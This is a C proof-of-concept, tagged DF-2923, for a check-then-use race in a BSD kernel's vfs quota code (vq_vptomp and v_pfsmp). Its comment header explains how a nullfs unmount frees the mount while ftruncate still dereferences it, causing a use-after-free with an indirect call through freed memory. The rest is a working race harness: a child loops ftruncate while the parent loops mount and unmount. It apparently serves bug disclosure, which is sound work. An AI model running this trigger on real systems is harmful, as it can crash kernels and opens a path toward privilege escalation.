DF-2923 / vqpfsrace.c
/* * DF-2923 proof-of-concept: vq_vptomp() check-then-use race on * vp->v_pfsmp (sys/kern/vfs_quota.c:420-433). * * vq_vptomp() validates vp->v_pfsmp only with mountlist_exists(), * which takes NO reference on the mount. If the (nullfs) mount that * v_pfsmp points at completes dounmount() between the * mountlist_exists() check and the caller's * MP->mnt_op->vfs_account(MP,...) * dereference (VFS_ACCOUNT, sys/sys/mount.h:657), the mount structure * has already been kfree()'d (vfs_syscalls.c:1107-1118 runs without * waiting because our thread holds no mnt_refs) -> use-after-free, * including an indirect call through freed memory. * * Harness (run as root; the racing ftruncate side is what an * unprivileged user would run): * - tmpfs mount at /tmp/vqs, a file in it * - null mount of it at /tmp/vqn (v_pfsmp gets set on the tmpfs * vnode when resolved through the null view; the null mount has * accounting because "null" is in accounting_fstypes) * - child: open the file THROUGH the null view, ftruncate loop * (kern_ftruncate -> vq_vptomp -> VFS_ACCOUNT) * - parent: mount_null/umount loop as fast as possible * * Usage: vqpfsrace <file-through-null-view> <null-mountpoint> <src-dir> */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <sys/wait.h> #include <sys/mount.h> int main(int argc, char **argv) { const char *file, *nmp, *src; pid_t child; int fd, i, iter; char cmd[512]; if (argc != 4) { fprintf(stderr, "usage: %s <file> <nullmp> <srcdir>\n", argv[0]); return 2; } file = argv[1]; nmp = argv[2]; src = argv[3]; child = fork(); if (child == 0) { off_t sz = 0; fd = open(file, O_RDWR | O_CREAT, 0666); if (fd < 0) { perror("open"); _exit(1); } for (;;) { sz ^= 0x100000; /* flip size up and down */ if (ftruncate(fd, sz) != 0) ; /* null view may be gone */ } _exit(0); } sleep(1); /* let the child open the file once */ for (iter = 0; ; iter++) { snprintf(cmd, sizeof(cmd), "mount_null %s %s 2>/dev/null", src, nmp); if (system(cmd) != 0) continue; /* umount immediately: races the child's vq_vptomp */ snprintf(cmd, sizeof(cmd), "umount %s 2>/dev/null", nmp); system(cmd); if ((iter % 5000) == 0) { printf("iter %d\n", iter); fflush(stdout); } } /* NOTREACHED */ } |